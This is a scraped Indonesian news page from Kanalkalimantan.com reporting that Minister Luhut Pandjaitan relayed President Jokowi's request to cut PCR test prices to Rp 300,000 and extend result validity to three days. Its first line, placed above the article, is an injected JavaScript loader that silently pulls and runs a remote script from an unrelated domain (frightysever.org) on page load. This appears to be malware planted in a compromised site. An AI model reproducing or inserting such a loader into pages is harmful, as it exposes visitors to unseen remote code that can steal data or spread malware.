(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA– Menteri Koordinator Bidang Kemaritiman dan Investasi Luhut Binsar Pandjaitan mengatakan bahwa Presiden Joko Widodo atau Jokowi meminta agar harga tes PCR diturunkan.
“Mengenai arahan Presiden agar harga PCR diturunkan menjadi Rp 300 ribu,” kata Luhut dalam konferensi pers, Senin (25/10/2021).
Selain penurunan harga tes, Jokowi juga meminta agar masa berlaku hasil tes PCR diperpanjang menjadi 3 kali 24 jam. Luhut mengatakan pemerintah mendapat banyak masukan dan kritikan masyarakat ihwal kebijakan PCR untuk syarat perjalanan menggunakan pesawat.
“Perlu dipahami, kebijakan PCR diberlakukan karena kami melihat risiko penyebaran makin meningkat karena mobilitas penduduk yang meningkat pesat dalam beberapa minggu terakhir,” ujarnya.
Baca juga : Terpantau 260 Titik Api, BPBD Barsel Dirikan Pos Komando Cegah Karhutla
Menko Luhut mengatakan, kebijakan tes PCR ini berkaca pada pengalaman negara lain. Sebab, beberapa negara Eropa kini mengalami kenaikan kasus Covid-19 karena melakukan relaksasi aktivitas masyarakat, meskipun tingkat vaksinasinya lebih tinggi dari Indonesia.
Karena itu, Luhut memohon agar masyarakat dapat memahami dan tidak emosional atas kebijakan yang diputuskan pemerintah atas tes PCR. “Saya mohon jangan kita lihat enaknya. Enak ini kita rileks berlebihan nanti kalau sudah ramai jangan juga ribut,” ujar dia.
Sebelumnya, pemerintah mengeluarkan kebijakan baru khusus untuk perjalanan domestik dengan transportasi udara. Penumpang di wilayah intra-Jawa dan Bali serta daerah dengan PPKM level 3 dan 4 wajib mengantongi dokumen tes RT-PCR.
Aturan sebelumnya, penumpang dapat menunjukkan hasil tes rapid Antigen.
Kebijakan tersebut mendapat kritik dari masyarakat. Bahkan sejumlah orang menandatangani petisi di laman change.org untuk meminta pemerintah menghapus aturan wajib menunjukkan hasil tes PCR sebagai syarat perjalanan menggunakan pesawat. (Kanalkalimantan.com/suara)
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More
KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur meresmikan UPTD Puskesmas Martapura Barat, yang dirangkai dengan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani bersama Dandim 1001/ HSU-BLG Letkol… Read More
KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani menilai Tentara Nasional Indonesia (TNI)… Read More
This website uses cookies.